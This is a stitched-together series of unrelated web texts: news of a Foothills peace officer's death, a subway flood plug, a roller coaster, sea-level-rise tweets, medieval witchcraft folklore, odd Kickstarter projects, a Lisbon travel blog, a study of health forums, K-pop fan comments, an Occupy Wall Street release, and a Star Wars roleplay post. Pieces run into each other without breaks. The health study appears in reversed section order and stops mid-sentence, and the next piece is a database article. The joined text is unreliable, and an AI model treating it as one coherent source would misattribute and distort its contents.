Police say the suspect drove an injured Lazenby in his own work SUV to the District 8 police office on Midpark Way S.E. and turned himself in Friday morning.
Lazenby was rushed to hospital in critical, potentially life-threatening condition Friday after 11 a.m.
Lazenby was pronounced dead upon arrival.
RCMP and Calgary police continue investigating a property two kilometres north of Priddis called the Tangled Spur Ranch.
Its owner, Bruce Adams, said he was renting the property to a man who has about 30 blue heeler dogs and had repeatedly been visited by bylaw officers.
Adams said the renter had been there for about a year.
Fellow peace officer Clayton Terletski shared an office with Lazenby and they often talked about work and family.
“His family was important,” Terletski said. “He was really proud of his grandson.”
He described his co-worker as an introvert who would occasionally share stories about being undercover RCMP officer.
“He did some pretty exciting stuff,” Terletski said.
Lazenby once posed as a high-ranking mobster in an undercover sting in Ontario.
In 2002, Lazenby aided Ottawa police by befriending Andre Jeanvenne, accused of the Jan. 1983 shotgun slaying of Donald Poulin in Gloucester, Ont.
Lazenby, who called himself Rod Calabria, assumed an Italian accent and wined and dined the suspect at a steak house and a stripper club to get him to talk.
In the MD of Foothills, south of Calgary, Lazenby was one of five community peace officers with the municipality serving a population of more than 21,250. He dealt mainly with bylaw violations, including animal complaints, said Robinson.
Robinson said this is the first time the district has lost a staff member on duty under such circumstances.
“We’ve never had anything like this happen before,” Robinson said.
Condolences from Alberta’s Minister of Justice and Solicitor General Jonathan Denis recognized Lazenby’s sacrifice.
“It is with great sadness that I express my condolences to the friends, family and colleagues of Foothills community peace officer Rod Lazenby,” said Denis in a statement.
“Tragedies such as this remind us all of the selfless acts peace and police officers make to protect our safety each and every day. On behalf of all Albertans, I want to recognize Mr. Lazenby for his service and assure his loved ones that his sacrifice will never be forgotten.”John Fortune, of the Department of Homeland Security's Science and Technology Division, points out features of the Resilient Tunnel Plug at a demonstration for media. Quick inflation and extreme strength of the plug's material hold back water that might enter a subway tunnel during a flood. Credit: DHS A giant, inflatable structure designed to prevent flooding in subways was rolled out, literally, for media observers inside a full-scale, mock subway tunnel. As the video shows, in under five minutes it is nearly filled with pressurized air—creating a flexible but extremely strong barrier. Full inflation is complete in less than 12 minutes. The live demonstration continued with the plug holding back simulated floodwater at 11.5 pounds per square inch pushing against it.
The Department of Energy's Pacific Northwest National Laboratory helped develop the Resilient Tunnel Plug in partnership with ILC Dover and West Virginia University for the Department of Homeland Security's Science and Technology Directorate. It's kind of like a large balloon, but infinitely stronger.
"This is one of those things where we had an idea that was pretty simple but we needed to take that concept to reality," PNNL engineer Greg Holter said. "The big problem wasn't just designing the plug, but ensuring it could be stored without interfering with trains passing through their tunnels."
The RTP, made from a liquid crystal polymer called Vectran, was developed to provide security to transit systems as protection from flooding, primarily in subways, in the event of a terrorist attack or natural disaster. In the event of flooding, the plug would rapidly inflate, holding back a tunnel full of floodwater, keeping citizens and the transit system assets safe.
Explore further: 35,000 gallons of prevention: Containing a tunnel flood with an inflatable stopperThe first "launched wing roller coaster" in the U.S. is opening in Santa Claus, Indiana, at the Holiday World theme park on Saturday.
More than a wing coaster (which has seats that extend on either side of the track, giving riders the sense of being suspended midair), and more than a launched coaster (which quickly propels riders onto the track instead of relying on a big initial drop), the Thunderbird launched wing coaster offers everything theme parks think coaster riders want today.
There's the 0-to-60 mph launch, a 14-story Immelmann loop, a zero-g roll, a barrel roll and a 125-foot-high loop, all in a one-minute, 18-second ride.
If the description isn't quite hitting home, here's what it's like to ride:
And once more in an animation:
Thunderbird first sends riders high into the air, and then hugs the ground, "surprising riders with rapid-fire 'near misses' such as keyholes, themed elements, other rides, trees, and even the ground," according to the park.
Nothing like feeling like you're about to fly into the ground to get the adrenaline going.
The coaster cost $22 million to complete and was manufactured by Bolliger & Mabillard, according to the park.
“A wing coaster creates a feeling of incredible freedom, said Matt Eckert, the president of Holiday World, in a statement. "You ride beside the coaster track with nothing above or below you."Andrew David Thaler (@SFriedScientist) took to Google Earth to visualize what 80 meters of sea level rise would look like. The real fun started when he opened up for requests on Twitter where anyone could submit their own city to sea level rise of their choosing using the hashtag #DrownYourTown.
Some of the more plausible scenarios (2 meters) are frightening for coastal cities, while other ridiculous scenarios (like 168 meters here in Austin, Texas...) are crazy. Here are some pics from #DrownYourTown. Apparently people really want to see what Oakland looks like under water.
Our first request comes from @jgold85 who wanted to flood LA with 80 meters of Sea Level Rise - #DrownYourTown - pic.twitter.com/eb23w7AMLv — Andrew David Thaler (@SFriedScientist) October 16, 2013
By request of @davidwogan, Austin TX at 168 meters #DrownYourTown - pic.twitter.com/OT6cIXrGeM — Andrew David Thaler (@SFriedScientist) October 16, 2013
For some reason, dozens of people requested DC, so here it is with 40m sea level rise - #DrownYourTown - pic.twitter.com/Mf4RzV1D1x — Andrew David Thaler (@SFriedScientist) October 16, 2013
I can see why the Netherland might be concernd. Rotterdam with 2 meters rise #DrownYourTown @KeesEngels pic.twitter.com/22ahRh4WPG — Andrew David Thaler (@SFriedScientist) October 16, 2013
What does everyone have against Oakland? Oakland is cool. You requested, I oblige. Oakland at 10 m #DrownYourTown pic.twitter.com/TApWA6JlrZ — Andrew David Thaler (@SFriedScientist) October 16, 2013
Let's keep going, some people really want to see Oakland flooded. Here's 15 m #DrownYourTown pic.twitter.com/FcUcYAgLYm — Andrew David Thaler (@SFriedScientist) October 16, 2013
What, you still don't want me to stop. Apologies to @bgrassbluecrab Oakland at 25 m #DrownYourTown pic.twitter.com/1wjI4lLxsc — Andrew David Thaler (@SFriedScientist) October 16, 2013
Last one, seriously. No more Oakland after this. Oakland at 100 meter sea level rise #DrownYourTown pic.twitter.com/2lnl5I84mU — Andrew David Thaler (@SFriedScientist) October 16, 2013
So much for those beaches, Santa Cruz @seaottersdotcom 3 meters - #DrownYourTown pic.twitter.com/kVDnGqJk7u — Andrew David Thaler (@SFriedScientist) October 16, 2013Photo via Wikipedia
Since time immemorial, men have worried irrationally about perceived threats to their penises. Long before there was castration anxiety, there was something far more sinister: the myth of phallus-stealing witches who kept wriggling, dismembered members as pets.
The best-known description of this practice occurs in the Malleus Maleficarum, a 15th century witch hunting manual written by Heinrich Kramer. Historians typically regard it as a ludicrous and misogynistic text that nonetheless resulted in countless vicious murders of women accused of witchcraft; in The Salem Witch Trials Reader, Frances Hill describes it as "one of the most terrifying and obnoxious books ever written." The Malleus is rife with obvious anxieties about female sexual desire—as folklorist Moira Smith notes in her paper, Penis Theft in the Malleus Maleficarum, "Many of the crimes (maleficia) attributed to witches concerned sexuality: copulation with incubus devils, procuring abortions, causing sterility and stillbirth, and impeding sexual relations between husbands and wives."
Read more: The Real Witches of Salem, Massachusetts
In the Middle Ages, witches were thought to have various magical dick-ruining capabilities, the most sinister of which is the ability to make the sex organ vanish entirely. According to Smith, the Malleus Maleficarum details three specific case studies in which witches were said to have magically deprived men of their penises. The first two simply involve men having their genitals hidden by some magical illusion—witches "can take away the male organ," Heinrich Kramer writes, "not indeed by despoiling the human body of it, but by concealing it with some glamour."
The third account notoriously mentions the phenomenon of witches keeping disembodied penises as pets and feeding them oats and other nutritious grains:
[W]hat shall we think about those witches who somehow take members in large numbers—twenty or thirty—and shut them up together in a birds' nest or some box, where they move about like living members, eating oats or other feed? This has been seen by many and is a matter of common talk. It is said that it is all done by devil's work and illusion, for the senses of those who see [the penises] are deluded in the way we have said.
Kramer goes on to describe one man's quest to restore his missing member. By his account, the poor, castrated fellow "approached a certain witch" who instructed him to "climb a particular tree where there was a nest containing many members, and allowed to take any one he liked." (He was unfortunately rebuffed after trying to pick a particularly large one because "it belonged to a parish priest.")
Gonad-bearing flora were not uncommon in the Middle Ages. In a 2010 article published in the Journal of Sexual Medicine, historian Johan J. Mattelaer states, "Between the end of the 13th century and the early 16th century, the phallus tree was quite a phenomenon." Penis trees flourished throughout Europe, according to his research: A 14th century French manuscript contains two images of nuns harvesting penises from trees and tucking them into their robes; a wood carving from the early 15th century currently kept at a museum in Germany depicts a woman casually plucking penises while her lover peruses a vulva tree; and a decorative badge found in the Netherlands "shows a couple making love under a phallus tree, possibly being watched by a voyeur."
A phallus tree mural uncovered in Tuscany. Photo via Wikipedia.
In 2000, archaeologists uncovered a particularly impressive penis tree specimen: a massive mural from the 13th century, located in Tuscany. It depicts a tree covered in male sex organs ("It is indeed a phallus tree!" Mattelaer notes jovially), all of which were "disproportionately large and... clearly in an aroused state." By the noble plant's roots stand eight women, two of whom appear to be fighting over a penis and one of whom is trying to knock one off a branch using a stick. Beside them is another woman who appears to be mostly uninvolved—but who, upon closer inspection, as Mattelaer notes, "has one of the fruits of the tree protruding from her bottom." George Ferzoco, the director of the Center for Tuscan studies, has argued that the mural constitutes "the earliest depiction in art of women acting as witches," citing ancient Tuscan folklore about witches keeping penises captive in nests.
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In the Malleus Maleficarum, Kramer writes, "All witchcraft comes from carnal lust, which in women is insatiable." In its purest essence, the penis tree—and its association with endlessly lascivious witches—raises a compelling question: If dick grew on trees, would anyone need men?7 Weird Kickstarter Campaigns You Won’t Believe Existed
Crowd-funding is all the rage at the moment. Websites like Kickstarter give ordinary people the opportunity to share their ideas online and receive financial support from those who admire their visions. They give a platform for creative people who might previously have been turned away from business opportunities. They also cut out the middle man, creating a bridge between creators and their customers. Quite simply, it’s revolutionising the whole idea of consumerism.
The amount of amazing products that have been made because of Kickstarter backing is incredible. It was responsible in reviving the cult TV show Veronica Mars as a movie. It helped innovate virtual reality technology in the form of Oculus Rift too. However, as you may imagine, for every stroke of genius on Kickstarter there are dozens of campaigns that are, well, somewhat questionable. We have found 7 hilarious, bemusing and downright shocking examples of these weird Kickstarter campaigns. Take a look at them below.
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Grand Theft Auto, Skyrim, Mass Effect. They are all great video games. But as Farjay Studios are quick to point out, they share a common problem — none of them let you play as a bear. The studio attempted to rectify what they saw as a ‘tyranny’ orchestrated by the fat cats of Washington DC. They took to the crowd-funding website to raise money for a FPB (first person bear) game in which you live life in the wild. You can hunt for trout, you can steal honey, and when the day is done you can retreat to your cave for a snooze. This weird Kickstarter campaign generated an amazing $100,000 from 3871 backers.
Last February, a man tweeted the Mayor of Detroit. He asked for a Robocop statue to be erected in his home city. He explained that Philadelphia had a Rocky statue and Robocop could easily “kick Rocky’s butt”. The Mayor swiftly rejected his suggestion, but the dream was kept alive via this weird Kickstarter campaign. Believing that the robotic crime fighter is a great ambassador for the city, they attempted to raise $50,000 to build a 10-foot-tall statue. It exceeded the amount by reaching $67,000 on March 27th 2011.
Former office worker turned entertainer Charles Johnson wanted to tell his own story in a special one man show. He took to Kickstarter to raise $300 and cover the cost of renting the Templar’s Hall in San Diego. The only problem? The video that accompanies the campaign, showing off what backers could expect from the show, is torture to watch. He plays a dodgy ukelele cover of Twinkle Twinkle Little Star to a room of bored adults. He tells a creepy adventure story — which he screeches at high pitch — to the silence of bemused kids. The campaign also boasted sword fighting in his show. Yes, sword fighting. The project received two backers and raised a total of $21.
Fans embarking on a trip to Bestival last summer were provided with rare opportunities to see Elton John, Snoop Dogg, Franz Ferdinand and… Lionel Richie’s head? That’s right. The public artists known as Hungry Castle wanted to make a giant pop up head of Lionel Richie that they could erect in Robin Park for the four-day music event. Fans could walk in and receive a phone call from Richie that sang: “Hello? Is it me you are looking for?”. The hilarious and weird Kickstarter campaign received double the amount it asked for — a stunning £8000.
This weird Kickstarter campaign should be a warning guide to everyone who wants to fund their movie via the website. Robert Poorman wanted to make his film treatment Jules Express into a movie with $2500 worth of crowd-funded backing. The plot? He described it only as ‘the need to examine your past, removing the importance it has’. His credentials? None in sight. And what would the money fund? “My novel was lost twice when my PC was thrown out in the dumpster and I am badly in need of a new one” as well as “food for myself, and my 12 year old son.” Would you trust your money to this guy? For all we know, it could have been fake. The project was unsurprisingly one of the website’s biggest failures making absolutely no money whatsoever.
Visitors of the incredibly weird Burning Man festival in the USA were in for a shocking sight after this weird Kickstarter campaign successfully found funding. The Black Rock Arts foundation wanted a 50ft electromechanical serpent to slither through the festival, a week-long event that revolves around the burning of a wooden effigy in the Nevada desert. The terrifying creation would be controlled by a rider that sits just behind the head of the serpent.
If you like the plays of Shakespeare but think they could do with a few more murderous cyborgs on the run from shape-shifting assassins, the Husky Jackal Theatre have a solution for you. They attempted to crowd-fund a stage production of James Cameron’s classic action movie Terminator 2 told entirely through the words of William Shakespeare. They called it Terminator The Second. Fans came out in their droves to back the weird Kickstarter campaign. The initial $3000 goal exceeded $10,000. The theatre company were staggered by its success. “Now we’re thinking we may be able to figure out a way to pull off that helicopter chase after all,” they wrote in an update.Lisbon is known as a city that was built on seven hills. There are other cities claimed to be built on seven hills: Roma, Athens, Kiev, Budapest, Vilnius, Plovdiv, Barcelona and more. I was surprised to find a big article about seven hills cities on Wikipedia. Anyway, I mentioned hills just because if there are any — there should be nice views over the place!
7 hills views, Lisbon
There is a castle of Sao Jorge in the heart of the city, we were really happy to explore the area around it. It is the oldest part of Lisbon.
Two museums to visit in Lisbon Art is important if you want to understand country’s history. An experience of visiting museums and national art galleries is almost like watching an interactive movie: you are basically pathing by the most important events, influential figures, beautiful spots of that country — you can learn almost everything you have to know about the history of the place. 1.The first museum to learn about 12–19 century of Portugal is National Museum of Antique Art. Enjoy the view from the garden of the museum!
The view from National Museum of Ancient Art, Lisbon
Some names of painters that could be interesting: Nicolas de Largilliero, Antonio Pereda y Salgado.
Two painters that I was happy to find for the first time in my life: Albrecht Durer and Hieronymus Bosch.
2. The second museum is Berardo Collection Museum. A story about this place surprised me very much: previously the entire collection was private. Actually it is still private but everyone is able to enjoy it for free. It is one of the most representative collection of the 20th centuries art I have ever seen. Here you can find Picasso, Miro, Mondrian, Magritte, Warhol etc.
Places with good wi-fi and working atmosphere During my stay I discovered two great places, where I was able to work comfortably. I did not visit any coworkings because all of them were either full or I did not like pictures of their interiors. That is why I was looking for an alternative and I found it in a Berardo’s Museum of contemporary art cafes and a cafe hidden in Alfama. 1.I did not take pictures inside of the museum’s cafe, but you can be sure that there are lot of tables, chargers, comfortable chairs and good wifi. The place is also quite in case you need to concentrate.
2. The second place with good wi-fi and working atmosphere is Cafe Cultura Portuguesa, located in Alfama (the central districts). Welcoming staff, good coffee, biscuits, fresh salads and pizza. It was also quite, usually just a few people sitting with their laptops.
Four places near by to travel from Lisbon First of all, you should visit Cascais, Sintra, Carcavelos and Cabo da Roca. Those are the closest destinations from Lisbon. We were staying in Lisbon less than a week and visited only Cascais and Carcavelos, but I am going to narrate you about Sintra and Cabo da Roca as well because I explore everything about these places too. Almost all of them you can reach by train in around 20–40 min. Only to get to Cabo da Roca you have to take a bus from Sintra. 1. Cascais is a village, where Taho river enters into the Atlantic ocean. Mixing of the river and the ocean make this place special. Cascais is good for walking and relaxing, food is great too and cheaper than in Lisbon.
2. Sintra is a small town too. The main reason to visit this place is a beautiful castle. You will recognize Sintra’s landscape with the castle on a huge number of Portugal painters’ pictures. We visited Museum of Ancient Art in Lisbon where we were surprised by similar fairytale-like landscape occurring on different paintings, after all, the landscape turned out to be really existing in Sintra.
Sintra 2015, Portugal
3. Carcavelos is one of the most famous beaches close to Lisbon. It is a great idea to visit it at night :)
Carcavelos beach, Lisbon (The pictures of the beach are not mine, I was here always per night, so I took some from the Internet)
4. Finally, Cabo da Roca — the most western point of Europe. As I have already told you, to visit this place you have to take a bus from Sintra. Cabo da Roca is a pure nature. It is a very powerful place, here you can see how ocean loves the earth:
Cabo Da Roca, Portugal
- What can I say in the end?!
- Enjoying Lisbon was really enjoyable :)Facebook just sent shockwaves through the social web with its announcement that they will be supporting @mentions in status updates. The feature, which Facebook calls tagging, allows you to not only reference friends, but groups, pages, and events.
Without any hesitation we will say that this move is a direct attack on its upstart competitor Twitter, whose @mention feature (formerly known as @reply) has been an integral part of the microblogging service. This is only in addition to a wave of other recent moves by Facebook to halt Twitter in its tracks. Real-time search and the FriendFeed acquisition were just the beginning.
This move has more direct impact on Twitter though, especially as many Facebook users utilize Twitter as their status update tool. Here are some of the likely implications of Facebook's new feature:
1. More of the conversation moves to Facebook: This one's inevitable. With the ability to tag and chat with friends in public, some of the public conversation that has been for so long on Twitter will migrate over to the larger user base that is Facebook. 2. Users could update Twitter through Facebook instead of vice versa: Soon you could see people updating Twitter via Facebook, now that you can reference people with the same syntax. Facebook recently launched a Twitter app for Pages. If it were activated for profiles, user habits would quickly change.
3. Facebook becomes more attractive to big brands: Now brands can reach out to users complaining about their brand as well. And since Facebook is bigger, there are more customers to serve. It adds a whole new level of interaction between brand and user.
4. People move to Facebook for breaking events: When there is a plane crash, an earthquake, or a conference, people tend to turn towards Twitter first. With @mentions generating conversation, it makes just as much sense to update on Facebook. This could accelerate as the platform becomes more open.
5. Developers flock back to Facebook: What makes sense for Tweetdeck: serving 10 million Twitter users or 250 million Facebook users? As more and more of Twitter's functionality makes its way onto Facebook, developers can build fully-functional apps for accessing Facebook and utilizing its data. It could be a renaissance for the Facebook platform.
While it's way too early to understand the impact of Facebook @mentions on Twitter, it seems clear that its impact will be big. You can't just take one of Twitter's best features and adopt it on a platform several magnitudes larger and not see an impact.
Now we want to know what you think. How will this change impact Twitter? What about Facebook? Do you think we'll see a seismic shift or will this just be a blip on Twitter's radar?
[Image via Flickr, mariachily]MONTREAL - The Montreal Canadiens organization announced Friday that as part of the extensive renovations planned to enhance the fan experience at the Bell Centre in 2015-16 and beyond, the Montreal Canadiens Hall of Fame will cease operations on August 30, 2015. As a means to offer a final opportunity for all fans to experience the Hall and its exhibits and features in their entirety, admission to the venue will be free for the entire month of August.
“In the coming months, as the real estate development projects around the Bell Centre move forward, we will be in a position to proceed with a number of new initiatives, including the redeployment of Centennial Plaza,” said Kevin Gilmore, the team’s Executive Vice-President and Chief Operating Officer. “This beautiful new site will serve as a permanent gathering place for years to come that celebrates the history of our team, from its greatest legends to its unforgettable conquests and unparalleled legacy. The Hall of Fame will close in order to offer new amenities to fans and clients during games, though we will be redistributing certain of its displays and assets throughout the building so that they can continue to be enjoyed. For those who have never visited the Hall, we invite them through the end of the month to experience it at no cost.”
Fans who have loaned materials to the Hall for display purposes will be contacted in the coming weeks in regard to next steps involving their return. Bell Centre guided tours will continue to be offered independently upon the Hall’s closure, with new enhancements and additions to be announced later in the fall.
The Montreal Canadiens Hall of Fame is located at the lower level of the Bell Centre, situated at 1909 Avenue des Canadiens-de-Montréal. The venue opened to the public in January 2010 on the heels of the club’s Centennial anniversary, and has welcomed over 200,000 visitors since its inception.Conclusions: Most of the information assessed in this study was considered by qualified medical doctors and nonmedically qualified respondents to be of reasonably good quality. Although a small amount of information was assessed as poor, not all respondents agreed that the original questioner would have been led to act inappropriately based on the information presented. This suggests that discussion forum websites may be a useful platform through which people can ask health-related questions and receive answers of acceptable quality.
Results: In all, 78 fully completed assessments were returned by 17 individuals (8 were qualified medical doctors, 9 were not). When the ratings awarded in the assessments were analyzed, 25 of the assessments placed the discussion threads in the highest possible score band rating them between 5 and 10 overall, 38 rated them between 11 and 15, 12 rated them between 16 and 20, and 3 placed the discussion thread they assessed in the lowest rating band (21-25). This suggests that health threads on Internet discussion forum websites are more likely than not (by a factor of 4:1) to contain information of high or reasonably high quality. Extremely poor information is rare; the lowest available assessment rating was awarded only 11 times out of a possible 353, whereas the highest was awarded 54 times. Only 3 of 78 fully completed assessments rated a discussion thread in the lowest possible overall band of 21 to 25, whereas 25 of 78 rated it in the highest of 5 to 10. Quality assessments differed depending on the health condition (chickenpox appeared 17 times in the 20 lowest-rated threads, HIV twice, and diabetes once). Although assessors tended to agree on which discussion threads contained good quality information, what constituted poor quality information appeared to be more subjective.
Methods: A total of 25 health discussion threads were selected across 3 websites (Reddit, Mumsnet, and Patient) covering 3 health conditions (human immunodeficiency virus [HIV], diabetes, and chickenpox). Assessors were asked to rate information found in the discussion threads according to 5 criteria: accuracy, completeness, how sensible the replies were, how they thought the questioner would act, and how useful they thought the questioner would find the replies.
Objective: The aim of this study was to improve our understanding of the quality and quality characteristics of information found in online discussion forum websites so that their likely value as a peer-to-peer health information–sharing platform could be assessed.
Background: Concerns over online health information–seeking behavior point to the potential harm incorrect, incomplete, or biased information may cause. However, systematic reviews of health information have found few examples of documented harm that can be directly attributed to poor quality information found online.
Introduction
Background
Over the past 2 decades in England and Wales, consultation rates within general practitioners’ (GP) surgeries have increased from approximately 220 million in 1995 to 300 million in 2008 and are estimated currently at approximately 340 million [ ]. Over the last decade, the number of attendances at accident and emergency (A&E) units in the National Health Service has increased more than 30%, from 14 million per year prior to 2003/2004 to 21.7 million in 2013/2014, and numbers are continuing to grow [ ]. Pressure on GP surgeries may be one of the reasons for the increasing pressure on hospital A&E departments: 22% of patients report that it is not easy to get through to their GP’s surgery on the telephone and 9.8% of people who are unable to get a convenient GP appointment go to an A&E walk-in center instead [ ].
Since 2008, online health-seeking information in the United Kingdom has increased dramatically, from 18% of UK adults saying they looked for health information online in 2008 to 43% in 2013, with an increase of 59% among the 25 to 29 years age group [ ]. Health information seeking represented one of the fastest growing areas of Internet use measured by the UK government during the period from 2008 to 2013 and in 2014; 8% of people aged 16 to 35 years and 15% of those aged 55 to 64 years made a GP appointment using the Internet. The United Kingdom is the second highest country globally for Internet health searches; in a recent survey, “Google my symptoms” was a more common first action than “book a doctor’s appointment” or “visit a pharmacy for advice” [ ]. In 2014, the number of health searches carried out in the United Kingdom increased by 19% [ ].
Quality Considerations for Online Health-Seeking Behavior
Supporting individuals to shift at least some of their health-seeking behavior from a face-to-face consultation with a medically qualified practitioner to seeking information online, both before and following diagnosis, provides opportunities to relieve the pressure on GP surgeries and A&E departments. However, it is also dependent on the information found online being of sufficiently high quality that following it does not pose a health risk. Prior studies of health information online have shown that it is of variable quality [ - ]. Although much concern has been expressed over this [ - ], few examples of actual rather than potential harm have been documented [, ].
Internet users often seek disease-specific information [, ], including information that will enable them to diagnose a particular health problem [ ]. Because trusted brands play an important role in health-seeking behavior [ - ], one way to make health-seeking behavior more comfortable for the Internet user may be to encourage them to turn to known and trusted websites when seeking health information, leveraging trusted brands to help them feel confident about the information they find there. If the brand is not health-specific, but is a source of information on a range of topics that the patient already trusts, they may be more likely to turn to it for information when they engage in online health-seeking behavior for the first time. Respondents to a short study on health information-seeking behavior during the 2014-2015 Ebola crisis in West Africa largely did not begin to use new modes of communication to seek out health information. Instead, they searched for health information through platforms and media they were already familiar with, turning first to trusted health and information brands, such as the World Health Organization, the BBC, and government ministries of health in addition to knowledgeable friends [ ].
Characteristics to Support Health-Seeking Behavior
Online discussion forums have a number of characteristics that could benefit online health information seekers. Discussion is known to enable better learning and absorption of knowledge [, ] and this has been identified as a benefit of discussion forums in general [ ] and of online discussion forums specifically [ ]. The emergence of Web 2.0 has provided new opportunities to gain and share knowledge about health issues [ - ] and discussion forums display positive attributes relating to all 4 website characteristics (source, medium, message, and receiver) that have been identified as important to engendering trust during online health-seeking behavior [ ]. In particular, discussion forums can act as both the medium for and source of health information. Because both doctors and friends can be accessed through online discussion forums, the Internet should not be seen as a competing category to face-to-face interaction with such sources, but rather an enabler of it.
A weakness of the existing literature is the tendency to approach the Internet as if it is a homogenous environment where every website can be trusted or mistrusted equally until trust is added on by accreditation seals or source authority. This does not consider whether some characteristics, such as voted discussion forums that offer the ability to counter a previous post with more accurate information or to fill-in the information missing from a previous incomplete answer, make discussion forums inherently more conducive to the transfer of good quality information than other types of websites. All spaces exert influences on the choices that people make in those spaces. The more designers, owners, operators, and users of online discussion forums are aware of what these influences are likely to be, the more able they will be to consider how they can influence users’ choices [, ].
The aim of this study is to provide an assessment of the quality and quality characteristics of information found in online discussion forums so that doctors, patients, and health care policymakers can better understand the online discussion forum environment and the information found there.
Methods
Selection Criteria
Our study involved UK-qualified medical doctors and UK (London)-based nonmedically qualified individuals assessing the information found in 3 online discussion forums (Reddit [ ], Mumsnet [ ], and Patient [ ]) relating to 3 health conditions. We selected 3 health conditions that affect a high number of individuals in the United Kingdom: diabetes, chickenpox, and human immunodeficiency virus (HIV). According to the most recent figures from Public Health England, an estimated 107,800 individuals in the United Kingdom were living with HIV in 2013 [ ]. An estimated 3.2 million (7%) of the UK population is living with diabetes [ ], of whom 10% have type 1 diabetes and the remaining 90% have type 2. An estimated 90% of all Britons will have had chickenpox by the age of 15 [ ], although no exact figures on infection exist for the United Kingdom because not all cases receive clinical attention. It is important to note that although US health policy positions chickenpox as a dangerous disease for which childhood vaccination is recommended [ ], this is not the case in the United Kingdom, where it is positioned as a mild childhood disease for which vaccination is only |
would otherwise require deeper database administrative skills to perform.
The company certainly has the pedigree to make its database technology acceptable in the mass market. In April, the company merged with Monty Program, the major force behind MariaDB. The merger reunited the original members of the MySQL AB team.
But the challenge will come from the increasingly splintered database community. Developers like the simplicity of NoSQL and its easy deployment. It has its faults but developers need ways to produce faster, especially in this age when application development is becoming less of a craft than ever before.TV Report via Naver1. [+180, -17] Lay, say something. I really want to believe in you but I'm so confused.2. [+164, -25] Don't even need him. Not an EXO fan but I'm amazed that the remaining 8 can cover for the missing members even without them promoting.3. [+165, -27] Just keep it 8... Do they think the other members don't have the skills to do solo promotions that they're sticking with the group??? This is just so selfish... I feel so bad for the remaining 8 in this promo.. ㅠㅠ4. [+101, -10] It's not us that has it the hardest but the 8. We need to hear the opinion of the 8 now. I'm so sorry this is happening to them ㅠㅠ5. [+58, -13] He should leave if he's not going to promote in Korea like this. Who in the world leaves to promote in China as soon as his group has its comeback??? And what pisses me off more is if they're going to leave, they should all leave at once instead of waiting every comeback to leave one at a time. What is this, some relay race?6. [+45, -4] I personally don't think Lay or Tao are at the level to be setting up their own personal agencies. If anyone in SM, it should be Victoria.7. [+39, -1] The only person I feel the most bad for in all of this is EXO's choreographer ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ He's suffering the most ㅋㅋㅋㅋㅋㅋㅋㅋㅋFor full functionality of this site it is necessary to enable JavaScript. Here are the instructions how to enable JavaScript in your web browser.
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Wednesday, June 06 2012 @ 01:54 PM EDT
Posted in News & Views
Trinity Church faces continued pressure about the use of its property – not just the fabled church and yard at the foot of Wall Street but over its corporate subsidiary, Trinity Real Estate, a cash cow of commercial real estate (valued at $1 billion) that makes it one of the largest landowners in Manhattan and the richest parish in the Anglican world. Last year Occupy Wall Street (OWS) along with allies in faith communities pleaded with Trinity for use of an unused vacant lot on Canal and Sixth Avenue known as Duarte Square, for an organizing base after being violently evicted from Liberty Plaza (Zuccotti Park). A December 17 clash over use of the lot resulted in 49 arrests, including several priests (Catholic and Episcopal), Bishop Packard (Episcopal), and one Catholic religious sister; a consolidated trial of 17 defendants is set to begin June 11.
Preceding the trial are two events that will put Trinity Church/Real Estate on the spot about its values. Trinity is being asked to stop prosecuting a group of OWSers and members of the faith community, and commit itself to economic justice.
Thursday, June 7, 11am Liberty Square – Justice for the 99% Rally Featuring author/journalist Chris Hedges and peace activist, Fr. Daniel Berrigan, a public event to remind all land rich religious institutions that their faith calls their loyalty to those at the losing end of economic disparity. Contact: Bishop George Packard, 914-260-1178, [email protected]
Sunday, June 10, 7pm Steps of Trinity Church (B’way & Wall) – Vesper Service On the eve of the trial Rev. James Cooper and Trinity Wall Street will be asked in this service to embrace forgiveness, drop the charges, and re-consider use of the empty lot at Duarte Square. Contact: Sr. Susan Wilcox, 347-282-1480, [email protected]
Monday, June 11th 9 am Trial – Manhattan Criminal Court, Jury Part 7, 346 Broadway at Leonard Street, Rm TBA 18 defendants face trespass-related charges. Contact: Tom Hintze, 914-329-0347, [email protected]
The vestry of Trinity Church has recently been racked with divisions over the tenure of Rev. James Cooper. Ten of the church's 22-member vestry–its board of directors which includes worshipers, local business, political leaders–have either been forced out or quit. Cooper’s compensation of over $1 million a year, including a lavish SoHo townhouse, has become a lightning rod for criticism. Much like its Wall Street neighbors, Trinity gives money to charitable causes but refuses to challenge dramatic income inequalities right outside its doors.
Occupy Wall Street is part of an international people powered movement fighting for economic justice in the face of croney capitalism, the crimes of Wall Street, and a government controlled by monied interests. #OWS is the 99% organizing to end the tyranny of the 1%. For more info www.occupywallst.org
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Rudy Kurniawan was, it was rumoured, a wine savant, had an expert memory for taste, a generous host, offering rare wines from his huge cellar, who in 2006 made 35 million dollars in two wine auctions from the sale of his wine. Then in 2008 a French wine producer, Laurent Ponsot, realised that wine from his family’s domain was being sold from a year they hadn’t produced it. That day, he says, he took the first plane to New York, and thus begun his crusade.
Set in the super-fast, super-rich world of LA and New York during the finance boom of the early 2000s, and featuring the obsessive collectors, outraged wine producers, suspect auction houses, and specialist FBI sleuths, Sour Grapes is an ‘Emperor’s new clothes’ fable for the modern age.Bakura, the Fourth Dimension
Caitlin Tobias is responsible for drawing me into the Fourth Dimension. No, she hasn’t got some inter-dimensional ship and offered to give me a ride – she visited the realm of Bakura, wherein sits the City of Salis D’aar, and New Alderaan, all of which is located in the Fourth Dimension region. As I’d recently paid a visit to the world of Onderon, a Star Wars role-play environment, I felt it appropriate I did the same with the Fourth Dimension, given it is also devoted to Star Wars RP.
There are four core elements to the region: the arrival point, with the mall area and introduction to the RP environment; Bakura, comprising the City of Salis D’aar and the city’s lower levels; and the icy wilderness of New Alderaan. Construction is still in progress, so forgive any dust you may find.
Bakura, the Fourth Dimension
The time period for the region is set some 100 years after the recorded Star Wars canon; as such, players are asked to be as creative as possible in creating their characters while remaining true to the established Star Wars galaxy, but to not model their characters on any from the movies or novels (so no C3-PO or R2-D2 or Bobba Fett, etc). All are asked to read the rules prior to entering, and visitors are requested they wear the OOC tag, which is also provided on arrival.
The available space has been used very creatively. the City of Salis D’aar, for example, comprises a main piazza area (which makes good use of materials, so be sure to have Preferences > Graphics > Advanced Lighting Model active), surrounded by tall buildings. Some of these you can enter, others of which have teleport doors which will transfer you to one of a number of sets suspended beneath the main square, giving the city added depth. These include a council chamber, a cafeteria, apartments, what appears to be a resupply area, and so on. Windows, where found, add to the feeling of being in the same city by looking out over the same backdrop.
New Alderaan, the Fourth Dimension
